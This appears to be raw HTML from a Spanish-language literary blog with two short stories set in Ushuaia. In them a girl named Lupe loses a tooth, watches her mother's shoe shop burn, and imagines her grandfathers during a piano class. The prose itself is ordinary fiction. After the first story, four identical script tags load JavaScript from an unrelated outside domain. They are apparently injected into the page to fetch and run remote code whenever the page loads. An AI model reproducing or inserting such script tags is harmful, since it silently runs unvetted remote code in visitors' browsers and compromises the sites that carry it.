<span lang="EN-AU" style="color: black; font-family: "Times New Roman",serif; font-size: 12.0pt;"><span style="mso-tab-count: 1;"> </span></span><span lang="EN-AU" style="font-family: "Times New Roman",serif; font-size: 12.0pt;">Abrió
la puerta de la casa de la tía y se sacudió las botas antes de entrar. Los
chasquidos del fuego se escuchaban desde abajo. Roxana se arrimó a ver quién
había llegado. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; text-align: justify;">
<span lang="EN-AU" style="font-family: "Times New Roman",serif; font-size: 12.0pt;"><span style="mso-tab-count: 1;"> </span>— ¡Subí, hay tostadas con manteca!<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; text-align: justify;">
<span lang="EN-AU" style="font-family: "Times New Roman",serif; font-size: 12.0pt;"><span style="mso-tab-count: 1;"> </span>Lupe sintió el olor a jazmines y a
madera quemada mientras subía las escaleras. Le gustaba saludar al cuadro que
decoraba la entrada: su amigo canoero pescando en el río <span style="background: white;">Lasifashaj, descalzo y con un cuero colgándole de las
caderas. Siempre la miraba a los ojos. </span><span style="color: #6a7782;"><o:p></o:p></span></span></div>
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span>La
tía Marta estaba todavía trabajando en la librería. Con Roxana comieron las
tostadas mirando Mr. Belvedere en el televisor del living. A Lupe le parecía
que Roxana se estaba poniendo redonda. Marisol había dicho que eso pasaba
cuando uno comía demasiada manteca, pero ella podía comer el doble de tostadas
que su prima y no había notado cambios. <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;"> </span>Sonaron las llaves en la puerta, de
nuevo alguien sacudiéndose el barro y la nieve. Los pasos en la escalera eran
de Guido. <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;"> </span>— ¡Metí cuatro goles! <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;"> </span>A Lupe no la sorprendía, su primo entró
con la cara iluminada por su sonrisa. Tenía los shorts blancos cubiertos de
barro, las medias enrolladas sobre los talones. La saludó con un beso en la
frente y se fue a bañar. Ella ya no pudo estar de la misma manera en el sillón
con Roxana. La ausencia era la sensación más fuerte de todas. Cualquier ruido
cerca del pasillo bastaba para que ella girara a mirar.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;"> </span>Guido volvió un rato después. La
película ya había terminado así que Lupe pudo ir con él al almacén, Roxana
quiso quedarse porque no se sentía bien. <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;"> </span>Nahuel dormía sobre uno de los
últimos peldaños de la escalera, les cortaba el paso. Tenía la cabeza hundida
entre sus patas delanteras. Roncaba. Guido lo despertó tirándole de las orejas.
Lupe quiso abrazar a su primo y pedirle que la llevara. No lo hizo, ¿qué iba a
pensar él? No podía arriesgarse a que sintiera su miedo. <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;"> </span>Subieron por Piedrabuena hasta
Magallanes. A ella la alivió que tomaran ese camino, no le gustaba bajar a
Maipú y sabía que a Guido sí. A él le gustaba ver la bahía. Pero hacia el final
de Maipú estaba el Museo, y adentro estaba el cóndor embalsamado. Las alas desplegadas,
los ojos siempre abiertos. Lupe temblaba en su presencia, sabía que esas garras
tenían poder suficiente como para llevársela en vuelo. Varias veces los
cóndores se habían robado bebés al borde del río Pipo.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;"> </span>Cuando doblaron en la esquina, Guido
hizo un ruido profundo con la garganta y, moviendo la cabeza como una gallina,
escupió una bola de mocos hacia el medio de la calle de tierra. Ella iba con la
frente en alto, un copo de nieve se le había atascado entre las pestañas. Entre
el parpadeo rápido, vio al canoero yámana de pie en la vereda. Tenía una piel
de guanaco adulto colgada alrededor del cuerpo, por debajo sobresalían dos
piernas flacas, casi de palo. No conocía el frío.<span style="mso-spacerun: yes;"> </span><o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;"> </span>— ¿Yo puedo escupir?<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;"> </span>—Creo que las mujeres no hacen eso.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;"> </span>Cuando hablaban de mujeres, Lupe
pensaba en las señoras que iban a la zapatería, como aquella que se probaba el
zapato negro, alta, un poco nerviosa. No pensaba en ella misma. Se preguntó si
ellas escupían o no. Si perdería los dientes flojos al escupir, ¿los encontraría,
tan minúsculos, por el suelo? Podría hacerse una corona. Debía tomar una
decisión sobre qué haría ella misma respecto al acto de escupir, pero tampoco
estaba apurada por llegar a ninguna conclusión. Consultaría con sus otros
primos.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><o:p> </o:p></span></h3>
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;"> </span>Se despertó con el diente suelto
adentro de la boca. El primer diamante para su corona. La reina de las
montañas. Su propia saliva tenía sabor a metal. Se sentó en el descanso de la
escalera a pensar en la carta, traía todo lo necesario en la mochila. Arrancó
una hoja y eligió la birome de Pluto. Había traído un libro de su mamá para
usar de apoyo. <i style="mso-bidi-font-style: normal;">El amanecer de los brujos</i>.
Planeaba escribir una carta pidiendo la mayor cantidad de dinero posible a
cambio de su diente. Dibujó un nueve y lo siguió de cuantos ceros le alcanzó la
tinta. Al final, un gran signo de dólar. Cuando terminó le dolía la mano. Puso
su diente en el medio de la hoja y la doblo hasta convertirla en un pequeño
rectángulo. La sangre traspasó el papel y una pequeña mancha empezó a crecer en
el sobre. Lo escondió debajo de la almohada. <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;"> </span>Lupe se recostó sobre la cama. Por
la ventana entraba la luz de la luna y las sombras de una lenga. Con el dinero
de su diente, Marisol no tendría que estar todo el día encerrada sin vender ni
un zapato, podrían irse al campo a caminar sobre la nieve, a buscar guanacos,
ella tampoco tendría que ir a la escuela ni a danza, le compraría a Guido mil
kilos de yerba y le pagaría sus deudas con el almacenero. Recorrió su dentadura
con la lengua y exploró el agujero que le había dejado el diente. La encía era
blanda y suave. Marisol entró a la habitación a los gritos. <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;"> </span>— ¡Ponete los zapatos, ponete los
zapatos!<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;"> </span>Camila ya estaba sentada en el auto
envuelta en su manta azul. Miguel al volante tenía el motor en marcha. Tocaba
bocina una y otra vez. Marisol empujó a Lupe por la espalda para que fuera más
rápido, la nieve le mojó el pantalón del pijama, pero recién lo sintió cuando
entró al auto y empezaron a andar. Pasaron por el presidio, nunca lo había
visto tan oscuro, por primera vez se preguntó cómo serían las celdas de noche,
qué fantasmas se habían quedado en la isla todavía cumpliendo su condena.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;"> </span>Al acercarse al centro encontraron
más y más gente en la calle, varios iban como ella, de pijama y campera. Se
juntaban en grupos en las esquinas, conversaban con gestos de asombro. El olor
a quemado llegó hasta el auto. El limpiaparabrisas se movía rápido, arrastrando
los copos de nieve que empezaban a caer. En la avenida San Martín escucharon
los primeros gritos y sirenas.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;"> </span>Nevaba con fuerza. Las llamas ardían
por encima del techo de la zapatería y se mezclaban en el cielo con los copos
de nieve. La vidriera estaba destruida y por debajo del techo solo quedaban
cuatro vigas carbonizadas que a duras penas sostenían la estructura. El humo
negro ascendía en columnas. </span><i style="mso-bidi-font-style: normal;"><span style="background: white; color: #222222; font-size: 12.0pt; font-weight: normal;">Curspi</span></i><span style="background: white; color: #222222; font-size: 12.0pt; font-weight: normal;">,
pensó Lupe y tembló.</span><span style="background: white; color: #222222; font-size: 12.0pt;"> </span><span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;">Olía a plástico y a cuero quemado. La gente
empezó a agruparse alrededor del incendio, algunos caminaban desorbitados
gritando el nombre de sus familiares o sus mascotas, pensaba que entre ellos encontraría
al canoero. <o:p></o:p></span></h3>
<div class="MsoNormal" style="line-height: normal; text-align: justify;">
<span lang="EN-AU" style="color: black; font-family: "Times New Roman",serif; font-size: 12.0pt;"><span style="mso-tab-count: 1;"> </span>Lupe se movía
entre las personas en los brazos de su mamá. Sus piernas le rodeaban la
cintura. Iban dejando atrás caras de pánico y de sueño. Se sacó las orejeras y
las dejó caer al suelo. La despedida no le dio escalofríos. Cerca del fuego
todo se movía a una velocidad acelerada. Marisol la dejó en el piso y la agarró
de la mano. Observaron las llamas rojas que ardían sobre el cielo estrellado y
llegaban a reflejarse en la bahía. Toda el agua del lago Fagnano no hubiese
podido apagar el incendio. Lupe sintió una soga rasposa que empezó a apretarle
el cuello, su corona de dientes estalló con una chispa. Sabía que su plan no
había hecho más que atraer al espiritu de la desgracia.<o:p></o:p></span></div>
<br /><br />
<script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script></div>
Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-5085640713730129677.post-74702641101920288712018-04-05T11:12:00.003-07:002021-02-17T11:07:05.752-08:00La clase de piano<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVAdY365ecldsK2QdgO-2sf41jyK62BJOIwrSaIOqEq6V2fwgMKReXvJ84YG8mODNa_iv0ecq8TE9Aj9KACtSjnoUydUDmF_lnD_2MCQFYNrxDpJx4pbSaVjUi9JlOd7WfX3mZ5G9fJkOG/s1600/tierradelfiego.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1513" data-original-width="1183" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVAdY365ecldsK2QdgO-2sf41jyK62BJOIwrSaIOqEq6V2fwgMKReXvJ84YG8mODNa_iv0ecq8TE9Aj9KACtSjnoUydUDmF_lnD_2MCQFYNrxDpJx4pbSaVjUi9JlOd7WfX3mZ5G9fJkOG/s320/tierradelfiego.jpg" width="250" /></a></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span lang="ES-UY" style="font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: "Times New Roman";"> A
pesar de que la abuela Celia se había tomado el trabajo de destruir casi todas
las pruebas de la existencia de su ex marido, Lupe todavía le preguntaba por él.
¿Qué hacía? ¿Cómo era? ¿Fue de él que había heredado ese dedo de martillo? El
pasado está hecho de ficción y la abuela Celia lo sabía. Se tomó sus libertades
a la hora de responder, era su derecho como sobreviviente reescribir su propia
historia. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span lang="ES-UY" style="font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: "Times New Roman";"> Un
día compró uno de los cuadros que tenían apilados en el fondo del almacén chino
de la esquina de su casa. Era el primer plano de un niño rubio con una lágrima
colgándole del ojo. Podría haber estado en cualquier lado. Cuando llegaron los
nietos al almuerzo del domingo, ella les contó que lo había rescatado del sótano,
era un viejo cuadro pintado por Guillermo. La reproducción de una foto que
había encontrado en la <i>Conozca Más</i>,
un chiquito de Chernóbil. Todos se le fueron encima, peleando por ser el
primero en posar sus ojos sobre el arte del abuelo. <o:p></o:p></span></div>
<div style="background: white; margin-bottom: 6.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 6.0pt; text-align: justify;">
<span lang="ES-UY" style="font-family: "Book Antiqua",serif; mso-ansi-language: ES-UY;"> Una
dijo que en su habitación no le quedaban paredes libres, los otros no tenían
espacio en el auto para transportarlo, otra se quedó dormida. Todos perdieron
interés, salvo Lupe que seguía insistiéndole a su papá para que hiciera un
lugar en el living de su casa. Miguel dijo <i>¡Nunca!
</i>Parecía que ese pedido le molestaba más que cualquier otro, pero Lupe ya
sabía que a él le encantaba decir que no, sobre todo a ella.<i> Ojalá fuera hija del tío Jorge</i>,<i> </i>le respondía. Jorge vivía en Canadá y
nunca veía a sus hijos, que se habían quedado en Ushuaia. Era marinero, viajaba
en su velero censando esquimales y buscando material para justificar la teoría
de Poirier. Lupe ya le había hecho todas las preguntas mientras jugaban con el
globo terráqueo que la abuela tenía en su despacho. </span><span style="color: #222222; font-family: "Book Antiqua",serif; mso-bidi-font-family: Arial;">Jorge
le señalaba con el dedo: había que dibujar sobre la superficie de la tierra un triángulo
que ocupara una parte del Ártico, esa masa blanca al norte del planeta. Todo
eso pertenecía a Canadá. Pasaba lo mismo con la Antártida, dijo, ese enorme
triángulo de hielo debía pertenecer a Tierra del Fuego<i>. Si hubiéramos nacido hace millones de años, vos y yo seríamos
antárticos</i>, le decía con la mirada
fija en el globo. <i>Quizás, hasta nos
hubiéramos bañado en el </i></span><i><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; color: #222222; font-family: "Book Antiqua", serif;">lago
Vostok. </span></i><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; color: #222222; font-family: "Book Antiqua", serif;">A Lupe se le helaban los pies de solo pensarlo. También le
habló de Emilio Palma<i>, </i><em><span style="font-style: normal;">la primera persona en la historia conocida por haber nacido en la
Antártida, fueguino y argentino como ellos</span></em><i>. </i>Quizás todavía paseaba por las montañas de Ushuaia, pensando como
ella en la historia de su familia.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span lang="ES-UY" style="font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: "Times New Roman";"> Sobre
su otro abuelo, Eusebio, Lupe había escuchado todavía menos. No sabía, por
ejemplo, que el ocho de marzo de mil nueve ochenta y tres, mientras ella nacía
en el hospital municipal de Ushuaia, él moría solo en una salita en el Impenetrable
chaqueño. Eusebio Zaratu había nacido lejos del frío, en San Juan de
Gaztelugatxe, País Vasco, hijo de una bruja y un molinero. Fueron cuatro
hermanos varones y, como todas las familias, se dividían a la izquierda y a la
derecha. Durante la Guerra Civil, Eusebio, Cesario y Manuel se alistaron con el
Ejército Rojo mientras que Ramón se unió a la Falange. Solo Eusebio sobrevivió,
perseguido, se coló en una embarcación rumbo al sur. Viajó ciento setenta días
a través del océano y ni una noche sintió el canto de las sirenas. No se detuvo
hasta llegar al Chaco. Un demonio le había contado todo a su madre en un sueño
y, no pudiendo soportar la tristeza, ella y su marido se colgaron del asta del
molino familiar.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span lang="ES-UY" style="font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: "Times New Roman";"> <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span lang="ES-UY" style="font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: "Times New Roman";"> Lupe
había heredado la mirada de un abuelo y las manos largas y flacas del otro. Fue
por esas manos y por su prematuro amor por los nocturnos de Chopin que
decidieron inscribirla en las clases de piano de la profesora Margot. Las
clases eran en El Obrero y, aunque quedara a nueve cuadras de su casa, su papá la
llevaba y la pasaba a buscar. En Ushuaia hace siempre frío y él andaba de
mangas cortas y un cigarrillo encendido entre los dedos. A ella le encantaba
caminar con él, aunque a veces iba lento a propósito para que llegaran tarde. <i>No quiero que se me pongan a charlar en la
puerta</i>, le decía a Marisol cuando le reclamaba puntualidad.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span lang="ES-UY" style="font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: "Times New Roman";"> A
Lupe no le gustaba el momento de llegar o de irse; disfrutaba más cuando ya se
había acostumbrado al olor y a la disposición de las cosas, y sabía que todavía
quedaba tiempo de disfrutarlas. En la clase de música odiaba también que Margot
la besara. La había visto pintarse la boca y con el mismo bastón hacerse marcas
rojas en las mejillas que después dispersaba con la punta de los dedos. Sentía
que cada vez que sus mejillas se tocaban, algo de esa máscara tenebrosa se
quedaba en su piel.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span lang="ES-UY" style="font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: "Times New Roman";"> En la
clase no aprendían los nocturnos. En los ejercicios grupales Lupe tenía la
libertad de esconder sus errores en el ruido de los demás. Mientras tocaba la
tecla equivocada con el dedo chiquito o dos veces la misma vuelta, la punta de
la lengua le colgaba al costado de la boca. Prestaba mediana atención a los
ejercicios de ritmos y compases. Se distraía con las manos de sus compañeros.
Los miraba marcando los dos tiempos, chocando el puño de una mano contra la
palma de la otra. Las manos, los dedos, se movían todos distintos. Había dedos
de mil tipos y algunas veces no coincidían con sus dueños: dedos cortos y
gordos en un flaco, dedos pegajosos en una chica con cara de limpia. A ella
siempre le decían que tenía lindas manos<i>,
qué dedos más largos y flacos, </i>y se lo creía porque tampoco había visto a
nadie con manos más lindas que las suyas. Algún día Chopin dejaría de ser un
misterio. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<i><span lang="ES-UY" style="font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: "Times New Roman";"> </span></i><span lang="ES-UY" style="font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: "Times New Roman";">Hacia el final de la clase el
hechizo de la música se<i> </i>desvanecía y
el hecho de estar ahí, en una casa ajena cuando afuera se hacía de noche,
empezaba a parecer una molestia. Los alumnos se convertían en intrusos y
mientras guardaban los instrumentos rogaban por dentro no ser los últimos en
ser venidos a buscar. Diez minutos después de la hora, Margot retomaba su
rutina y la casa se convertía en un hogar ajeno. Otra señora aparecía como si
nada por un pasillo y se movía por los espacios como si también viviera en esa
casa. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span lang="ES-UY" style="font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: "Times New Roman";"> A
Lupe no le había tocado nunca quedarse sola después de la clase. Esa tarde le
había sobrado casi la mitad del paquete de galletitas del colegio y lo
compartía con dos compañeras sentadas contra la pared. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span lang="ES-UY" style="font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: "Times New Roman";"> — Mis
papás nos van a llevar a patinar sobre hielo. —Faltaba un mes para que se
congelara la bahía. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span lang="ES-UY" style="font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: "Times New Roman";"> — ¿Podemos ir? — preguntó la que
nunca se animaba a ir a ningún lado sola. La otra miraba de costado porque el
plan no le interesaba, el hielo siempre le había dado malos augurios. Lupe
asintió con la cabeza aunque no quería que fueran. Actuaba como si entendiera
lo que pasaba a su alrededor. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span lang="ES-UY" style="font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: "Times New Roman";"> Un
grupo grande de gente pasó por la ventana. Una chica llevaba un megáfono. </span><i><span lang="EN-AU" style="background: white; font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-bidi-font-family: Arial;">La
mitad de los habitantes de Ushuaia no cuenta con vivienda propia. A pesar de
que el artículo 23 de la Constitución de Tierra del Fuego, Antártida e Islas
del Atlántico Sur, cede derechos sin ningún tipo ambigüedad: “Todo habitante
tiene derecho a acceder a una vivienda digna que satisfaga sus necesidades
mínimas y de su núcleo familiar.” el Estado Provincial procurará</span></i><span lang="EN-AU" style="background: white; font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-bidi-font-family: Arial;">… A medida que la muchedumbre se alejaba, la voz fue
perdiendo poder. A veces practicaban eso mismo en la clase de música y Lupe lo
entendía bien. </span><span lang="ES-UY" style="font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: "Times New Roman";"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span lang="ES-UY" style="font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: "Times New Roman";"> Primero
vinieron a buscar a la que se invitó sola. Tres galletitas después buscaron a
la otra. Lupe tiró el paquete vacío en el tacho de basura y volvió a sentarse
contra la pared. Los tres hermanos Ochoa salían con las mochilas al hombro,
quedaban solo Manuel y ella. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span lang="ES-UY" style="font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: "Times New Roman";"> Manuel
estaba sentado en la esquina con las piernas cruzadas, las dos manos ocupadas
en su Gameboy. Supo que estaba jugando al Tetris por la música que ya conocía
de memoria. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span lang="ES-UY" style="font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: "Times New Roman";"> —El
otro día hice cincuenta filas. —Manuel no levantó la vista. Ella pensó en cómo
sería estar ahí con Emilio Palma, el único ser humano nacido en la Antártida, y
no con el aburrido de Manuel. Seguramente tendría ojos helados, y la piel
blanca y suave como la de un siberiano, esa piel que se usaba para mantener
calientes a los niños. Voz de lobo. Sabría muchísimo acerca de la nieve. Y ni
un poco de miedo al hielo, eso estaba claro. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span lang="ES-UY" style="font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: "Times New Roman";"> Lupe
sacó su cuaderno pentagramado y empezó a dibujar. Le gustaba hacer la nota do,
que era como un plato volador aunque no le sonara a nada. La dibujaba sobre
cada línea y flotando por debajo y por encima del pentagrama. Las blancas le
gustaban más que las negras. Después escribió <i>idiota </i>entre el cuarto y el quinto renglón. Alguien se acercaba
caminando por el pasillo, cerró el cuaderno y lo guardó. Decidió hacerse la
dormida, quizás lograba dormirse en serio. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span lang="ES-UY" style="font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: "Times New Roman";"> El timbre
cortó su concentración. Abrió los ojos de golpe, pensó que así podía escuchar
mejor quién era. Todo seguía igual: Manuel haciendo su vida en la esquina de la
habitación, las manos de Lupe apoyadas en su regazo. Las mujeres no aparecieron
y el silencio le hizo dudar si realmente había sonado el timbre.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span lang="ES-UY" style="font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: "Times New Roman";"> Volvió
a sonar. Un rayo de luz atravesó la ventana y la habitación. Lupe acercó su
cara al vidrio frío mientras los pasos volvieron a atravesar el pasillo. Esperó
el sonido tímido de la voz de su papá. El brillo del sol no le permitía
distinguir a la persona de pie en la vereda. Era un cuerpo alto cubierto con
una capa negra que llegaba casi hasta el piso. Tenía hombros anchos pero no
tenía rostro. Las manos largas y flacas.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span lang="ES-UY" style="font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: "Times New Roman";"> <i>El abuelo, </i>pensó Lupe. <i>Vino el abuelo</i>. Metió la cabeza adentro
de la mochila. Las líneas del cuaderno pentagramado se veían enormes tan cerca
de sus ojos y las notas le bailaban de arriba a abajo. Su propio aliento
chocaba contra la cartuchera y lo volvía a respirar. En su boca se dibujó una
sonrisa nerviosa.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span lang="ES-UY" style="font-family: "Book Antiqua",serif; font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: "Times New Roman";"> Pensaba
en todo a la vez: el abuelo pintor, ese cuadro hermoso que nadie sabía apreciar
como ella, el calor del denso bosque chaqueño, los dedos largos sobre las
teclas del piano, la parrilla al fondo del jardín donde vivían y morían los
conejos que le regalaba la abuela Aurelia. Chopin sonando en un piano furioso.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
